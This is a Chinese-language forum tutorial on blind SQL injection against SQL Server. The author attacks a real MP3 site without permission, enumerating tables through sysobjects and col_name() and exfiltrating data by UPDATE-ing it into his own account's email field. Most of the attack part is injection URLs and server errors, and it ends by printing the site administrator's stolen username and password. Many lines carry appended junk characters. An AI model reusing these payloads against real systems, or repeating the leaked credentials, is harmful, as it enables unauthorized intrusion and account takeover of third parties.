SQL Injection这个话题越来越热了,很多的论坛和hack站点都或多或少地在谈论这个问题,当然也有很多革命前辈写了N多的关于这方面的文章,所利用的也是许多知名的程序,比如动网,尘缘雅境,而我们也可以拿到免费的程序来看其中的漏洞和数据库的结构,从中来达到注入的目的,不过如果是别人自己写的程序,那么我们就不知道他的源代码,更不知道他的数据库结构(数据表名和其中的字段名),就算有个变量未过滤提交到数据库去,我们也是无从对其下手的,只能利用通过猜解他的数据库结构来构造相应的SQL语句。1 c- Y# g. [; U/ T" z( Q
6 E# s- i: k) W* A P+ w( [' R+ y w
那么是不是就到此为止,能猜到多少是多少呢?没有做不到的,只有想不到的,我相信这篇文章对研究SQL Injection朋友来说,应该会有所启发。' e7 F( n$ G; f& [
9 U. B7 M" l& F- b+ P+ ^0 Q( F4 d5 y
一、发现漏洞,常规注入1 ?2 [* _0 N) |( A% U
* T+ e* v5 v% t. b3 F5 H: R 最近帮我们的站增加音乐,虽然本地的电信的音乐资源库非常丰富,但是缺少有关歌手和专辑的资料,所以到网上去闲逛找点有用的图片和歌手简介,通过百度搜索到了一个mp3的音乐超市,里面的资料还是比较丰富的,拷贝的同时顺手在他的Specialid=1817后面加了一个(单引号),我突然眼前一亮:
* l1 e) }+ K8 M7 Z: M0 D% N
) K" L3 b0 [9 U2 ? 7 A8 k3 A& g2 ]* M# ?3 ]: i' ?4 h0 a; P
4 k* j2 m g9 }* u8 H$ O
Microsoft OLE DB Provider for SQL Server 错误 80040e14
, Y7 F; M$ M. M" C字符串 之前有未闭合的引号。
5 L( o# _) i- X2 {) M/showspecial.asp,行13 $ f# `- Z9 B0 c
9 C0 r' H s* u0 h2 O2 Q Specialid没有过滤掉单引号就直接用到SQL语句中去了,而且是SQL SERVER版本的,漏洞的可利用性极大,可不能就此放过这么好的练兵机会,接着换;(分号)提交进去,居然页面正常出来了,说明该变量也没有过滤掉;号,到这里,我们就可以对此进行SQL渗透了,按照常规的步骤:
7 E! I3 W8 M( G1 ]2 a; z
) n5 v+ d/ V7 W 1、提交http:/showspecial.asp?Specialid=1817;use master;–
8 ?7 @# X3 z4 |# w
; \; o0 D4 ]; Y0 C 注:–的作用是注释掉程序中后面的SQL语句,以防对我们构造的语句有影响,比如order by..% z' t7 B, w) C) g
# j: W; v1 E% a( i& q! F' `& | 出现
/ t. ?& o! l* x$ d! W8 d$ L
* K% p9 A/ ` q
0 x. y) c) l$ }- ^3 m4 Q. o) |& ^9 Y
Microsoft OLE DB Provider for SQL Server 错误 80040e21 }/ [' F; I$ y5 c* }1 V
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。+ Z% Y7 y! O u+ \/ w
/showspecial.asp,行13
1 r# l2 r1 p1 z8 q' A0 ]3 g- q) j' u* X: k/ M
想在他的数据库里增加一个管理员是不可能了,我们再换一种方法
$ w( `5 M. c0 E1 D$ r$ Z9 a. {0 }! t h0 s" A. S* S& W. ^ r+ E
2、提交http:/showspecial.asp?Specialid=1817 and 1<>(select count(id) from [user])
3 W" g$ G* A" A/ ~# N0 q* G# S. r3 a1 O6 [
这一句的意思是猜猜看是不是存在一个名为user的表和他里面有没有id这个字段3 n2 O' X' y6 J; P. w/ @, t
/ e3 ]( S5 @% C) C r: C 一般来说:
. j1 [ g0 U7 y6 I' e- K; Q) A( B# p/ g2 R2 T3 m1 T" N( [/ N
如果不存在该表的话,会出现
# d r/ T7 B* V1 @" H7 f2 x, ^ n( F* F5 b Q) u* ?! }, A9 c3 z; o ~
( Q2 f* J2 X+ e3 b- t7 u) G* J- D5 V9 |2 ?! c
Microsoft OLE DB Provider for SQL Server 错误 80040e37
- T6 G4 H$ b- u1 |对象名 user 无效。' ?$ h6 O+ b8 z2 \
/showspecial.asp,行13
, \; x; {! G" B6 G# Y' F/ Y 不存在该字段的话,会出现2 W# I- D' q) M9 R: [, `
Microsoft OLE DB Provider for SQL Server 错误 80040e14
! j& s: |0 J0 B列名 id 无效。
! z8 c4 Y) `9 y0 T/showspecial.asp,行13
# s& Z4 a! C# ?& x
/ L$ E, z8 R" x# W9 _' s 注:一般来说,第一步是猜一些公共的表,这里所指的公共表的意思是大多数的程序员在写设计数据库结构的时候会用到的常用的表和字段,比如新闻的news表中的编号字段id,标题字段title,用户表user或者user_data中的编号字段id,用户名字段username,当然你也可以在该站点的登陆界面看他的原代码,找到用户名和密码的表单的name值,那个也经常会是表字段名的真实值,如# F5 V4 G2 M6 ^" @4 I9 q
8 M/ v9 u8 T* `5 S9 v/ x
很幸运,果然存在user表和id字段
/ l2 f" |: d" a4 m2 {" U5 y
! }8 d* P1 I% I& v& j& @7 g+ T7 b0 W- W9 L 3、通过提交http:/showspecial.asp?Specialid=1817 and 1<>(select count(username) from [user])
8 B' u% ^9 U0 ? Q% j. s& {, H% ~' T% r4 \+ j L% h& ?" N
这里的username是根据登陆框的表单名去猜的,恰好存在该字段。于是在该站注册了一个用户名为rrrrr的用户,作为注入的平台,得到我的用户名的id值103534
# H- \4 f: [# {" }8 L% X. q/ N y7 T( `
4、继续猜下去,这里我还是利用的他程序中的表单名,提交:
7 b+ Y+ f5 r* T$ o4 m. P& X, D1 E
3 k7 l5 K$ T; w$ }) N; D7 ?3 |http:/showspecial.asp?Specialid=1817 and 1<>(select count(email) from [user])4 D8 ? h8 w' R2 _& x
( [( O u1 |) o: I ~( f
也存在,好了,到这里,我们的平台已经搭建好了。
# Q! N' y! f* }# K- d
0 C$ G5 t5 D$ ]5 w 二、深入研究,让SQL自己招数据库结构
3 R" O* I; `! i5 j) u" a$ J1 L, l2 D0 U! C: l. g' F+ m
很多时候,我们只能猜到大家比较熟用的表名,如果是非原程序公开下载的,我们很猜到他的真实数据库结构,有时候猜半天都猜不到,令人很郁闷,那么该如何拿到他的表结构呢?我们知道SQL SERVER的每一个数据库都会有用户表和系统表,根据SQL SERVER的联机帮助描述是系统表sysobjects:在数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在表中占一行,那么也就是说当前数据库的表名都会在该表内有存在,(对象名 admin 无效。大家可以看到上面出现的报错把表名描述成对象)。8 s1 ?5 U' r) e) i! R, ?+ ? i
. p0 u4 `( d# J, P% ~+ D% s2 T 我们要用的是其中的3个,描述如下(详细的见SQL SERVER的联机帮助):
- b, M( C% c* a1 C! I+ G I# R2 G1 }! @2 j4 f1 M4 x3 a
% r/ h6 k; O9 ]/ d* B: K, K+ Z# T+ Z" c, e' `
name 数据表的名字8 o7 d6 @8 C) D7 t
xtype 数据表的类型 u为用户表
5 p. L0 d) h; y3 ~+ b2 A8 G0 _ id 数据表的对象标志2 p9 _; D! U( I8 k' [
status 保留字段,用户表一般都是大于0的 8 n D# l0 q, @2 @7 d- Q+ T
% U' G' H. F5 X s. h0 c: Z$ G, b 在查询分析器执行以下SQL语句(以我本地的数据库为例子)6 q8 `; f i% Q/ e
' ~" @: k0 P$ P. x9 ]
% y; t# X2 O: C. v, X- M
( [: H0 l+ X9 _- A3 \/ j/ a) cselect top 1 name from sysobjects where xtype=u and status>0
* f! N$ A* ?; L, R0 _" |: X. d( O7 r5 ~
我们马上就可以得到该数据库下用户表的第一个表名gallery
0 R K' R! E; O9 J2 H: [" A5 D+ {4 t4 @3 K! A4 [$ M# H+ Y7 Y' o. O$ y' b8 Y
" X5 Y- } ^9 X, B1 C5 Q! i
8 P- v) G8 k- k, B+ dselect top 1 id from sysobjects where xtype=u and name=gallery
4 M) {8 U# b1 |0 _$ e! p
5 L6 t( O4 ~0 T/ b+ c% C3 f 我们马上就可以得到该数据库下用户表的第一个表名gallery的对象标志2099048
4 x) ]) N# [) g9 y/ q% E9 C/ I" G% v3 l4 J7 D
- B$ [ k6 k" y: I( b
6 }" g% b7 B" e& K/ D% r4 S% j. r' D
select top 1 name from sysobjects where xtype=u and id>2099048 9 b( h. H. @3 r8 k! B0 ~5 |6 e# k
& Q7 H( n% U3 [8 @' h$ T8 {3 Z! q' _9 R4 N
再得到第2个表名gb_data,这里用到的是id>2099048,因为对象标志id是根据由小到大排列的。
9 e. |, ?9 l1 E9 H- y; D9 {3 |
- r* N6 ]5 l7 e8 ]" n 以此类推,我们可以得到所有的用户表的名字了
4 n. m, I( D! Z% L+ G
) B8 c- H' Y& v' P8 H: U接下来,我们要根据得到的表名取他的字段名,这里我们用到的是系统自带的2个函数col_name()和object_id(),在查询分析器执行以下SQL语句(以我本地的数据库为例子):
# U; g6 G& o- f/ }' W+ e7 d# }7 O G" ^0 {7 J5 W
& x. D7 E- M7 W% Q# a" k6 F
2 ] j! y; X# z& y, xselect top 1 col_name(object_id(gallery),1) from gallery
. Y7 _- x) Q% ?( _7 n8 F" l" t0 E m# T4 L: C* s
得到gallery表的第一个字段名为id。2 [: \6 g( ?) D0 \* F: k
% h) L7 K( L! g1 E$ p
注:1 U7 `' `( r" x4 r4 `6 v
2 r* B2 M$ _( c' {% g
/ O8 z! O. Y w) N
; L# E# {7 A" C- @+ V X col_name()的语法3 w, T# O7 i! ]& ~( ?, E* Q
COL_NAME ( table_id , column_id )
8 H/ D4 `" |' e) ]+ L0 m1 f, m5 U* T
参数
# x) x9 `, l4 U Y( _" p2 o& e$ ~
4 A: ~5 _0 r% ?4 C/ p 0 C: C) U$ _9 m- l5 m4 t" h
2 p: k5 V9 w6 u9 h: P# U- @ table_id:包含数据库列的表的标识号。table_id 属于 int 类型。+ u) L ]. V7 l
column_id:列的标识号。column_id 参数属于 int 类型。
( e" ~+ D( w/ g" C0 o# H' d1 F# F% f F2 P
其中我们用object_id()函数来得到该表的标识号,1、2、3。。表示该表的第1个、第2个、第3个。。字段的标识号9 U8 p) z* d7 }- Z7 I2 \5 b
. V9 k& i$ [6 p5 G5 m
以此类推得到该表所有的字段名称9 G( K, @5 e, a. F& `# x; P' T+ V$ w
4 j; H2 E- A1 e2 n 三、再次渗透攻击# d, s* b6 t1 t: z7 q% t: e5 u3 p
& f1 `: t0 Y9 l- _6 t1 A5 V9 G
经过上面2步的热身,接下来我们该利用建立好的平台实际操作演练一下了
7 P+ x9 Z2 Y4 d% t% a0 u: @2 _; ]3 p/ W9 k: n
依然是那个页,我们提交
O+ Z2 V2 {0 v' E* v1 ^
' c/ t: u& e5 E' u& e * |( `! Y* }# p6 T' `! e
G0 l# e7 q4 U. y- w0 B/ f' [
http:/showspecial.asp?Specialid=1817;update[user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;-- : }/ j- h s) m" r$ y, D+ E% F, K
0 ?! A1 [3 ^) t1 r; _! m1 N 服务器返回
9 N; g8 n W4 B K. J5 p4 y2 |# V4 J9 d6 I1 C& m5 P9 Z% [3 j7 i. J& D
8 C0 U% C8 F1 G% L9 q) P! D3 k R
# ^/ n9 l: y/ DADODB.Recordset 错误 800a0cb3. l0 ~6 M4 J3 M1 e7 r0 O# _
当前记录集不支持更新。这可能是提供程序的限制,也可能是选定锁定类型的限制。* F2 p2 C7 H/ i5 _- Z; ]
/showspecial.asp,行19 2 ]4 N5 k* O& b j6 o/ s; ~
/ W$ S8 o! X, t 出师不利,可能该页记录集打开方式是只读,我们再换一个页
& F4 U9 E! L0 J; P; _) P2 [7 \) Z2 L4 j X* ]+ U1 i# `' L
找到http:/ShowSinger.asp?Classid=34&SClassid=35的SClassid同样存在问题,于是提交& }( j# r+ I) N L5 Q
( u8 g- n0 Z! }* i Uhttp:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;-- * m) N0 U* S4 Q# v- Z* q4 h) C) b
2 M6 i. I. s) ^; @$ n 把第一个数据表的名字更新到我的资料的email项里去,得到第一个表名为:lmuser4 D$ A! Z: v( S7 \+ o& l B! J, a
: E1 w0 F5 m' A( r# l, ?http:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 id from sysobjects where xtype=u and name=lmuser) where id=103534;-- 9 ]. I: {/ U( m. G6 t' w% L% y
9 @+ \1 N0 u! y
得到第一个表lmuser的id标识号为:3631483392 ~) X: W! h' E& b) y* o
, D* x1 L8 \, x+ Y* D) x
+ q8 \$ F8 a: I2 F5 z$ \% }& g3 j& `2 Y9 D \6 r: d
http:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and id>363148339) where id=103534;--
/ V: t, }: B. O. N# D6 Q' r6 y$ m5 v& x, {9 I
得到第二个表名为:ad。这里我们利用的是数据表的对象标志id是升序排列的特点,以此类推继续取……(由于篇幅问题,中间省略n步),最后我们得到了所有的表名,发现其中有个表admin,哈,很可能就是管理员的列表了。
, v. y5 s1 D7 l+ o/ h
$ s2 U8 r; E7 N 好,接下来我们就取该表的字段名
6 r$ ]' y, N. @' V2 v3 g: s! S# l9 i( P0 |. m4 U/ P) g
/ Q2 ~% t6 x* D: p* D: |3 p _
9 {) P5 Y2 Q- [, v; Z$ R* y3 A" ~9 Fhttp:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),1) from admin) where id=103534;--
5 N8 H* A: P$ Z. b& W5 G9 M$ O% h: o5 s% v0 O# j* b
得到第1个字段为:id8 Y6 o& Y' D" D' l3 [
: @9 U* d- D: B1 R* e
1 r) P9 M) @2 |
+ C, R, E& z% R) g0 V M/ a7 L1 ohttp:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),2) from admin) where id=103534;--
, L5 O: F# p$ U8 q- I
% m8 p! G m+ i1 k' `$ R 得到第2个字段为:username) ~1 D `4 o& I. K- P1 d5 ~' n3 O
5 d/ }( R Y2 o3 C( @$ f $ p$ O7 @; e1 s3 [; x- m
! f) X3 c6 i" g. ?" e
http:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),3) from admin) where id=103534;-- $ t1 ^/ l J: y' E3 F* r
* {& h: ^2 D, @0 ^4 i9 E q
得到第2个字段为:password
9 \; v) J8 [% g. s+ B& ?: T3 m6 J `# B
1 w3 P0 u) i# _1 }( v% O8 f 到此,管理员列表的3个关键字段已经给我们拿到,接下来要拿用户名和密码就比较省力了,首先拿管理员的id值,这个比较简单,我就不再详细说了。' i9 g2 t# \' S4 T
. `' W& q% ~7 C3 d2 {$ D" m5 f 我们拿到的id值是44
' `) ^9 w) i9 {: w. j4 V4 Y# I+ Z: [8 H+ G* v4 l
$ ?4 x7 Q/ R" K9 O: V/ F9 `3 Z, L4 `9 p o, F2 S9 p, T- B
http:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 username from admin where id=44) where id=103534;-- 5 R' q5 v# \ N) U, e
/ N1 u' W* V, x" Y; B 将该管理员的用户名更新到email项 ,拿到的username为:gscdjmp3$ b6 Z0 H0 _. _" B6 D. O) ?
* U. Z7 h& ]8 @2 i3 k& l ) S/ s: ]' x5 t0 ]3 r- e& b+ s
4 I7 |# o/ ]" E
http:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 password from admin where id=44) where id=103534;--
8 Y! D9 ^/ T& R3 |( x5 ?/ x1 Q4 v" N. o8 e+ f
将该管理员的密码更新到email项,拿到的password为:XZDC9212CDJ4 ^4 {# W0 a! c2 Y U, f
* ^6 `/ R! S h
怎么样,拿到密码了吧?6 b3 Z7 n0 U) q, v0 v. }
- m% z5 Y, R+ U0 i* ?: ~
四、总结
1 ~ @& a" @; B- U: |9 p, I2 g# J
0 d( ~: f& {, T% c2 n6 a; ] 在我们对一个不知道原代码的有SQL Iinjection漏洞的程序进行注入的时候,往往很难猜到作者设置的数据库结构,只能通过编写程序时的经验来猜几个比较常用的表和字段,这样给注入带来了很多的麻烦,会因为猜不到结构而放弃,这时候大家不妨试试这个方法,或许对你有所帮助,这里我们通过更新我们的一个注册用户的信息来拿到结果,如果是新闻系统的话,可以通过更新到某个新闻的title来拿结果。) {, d3 A3 u' G2 a# ^$ e9 u
最后,值得提出的是,请大家不要拿该方法去恶意攻击其他的程序,谢谢!, N. f: D4 o, C3 [% z- h7 O% ?+ T
1 L1 S; B$ t$ T8 V# w
; n, s2 Y8 X% H# C) w
% s6 b5 v: P* C4 H |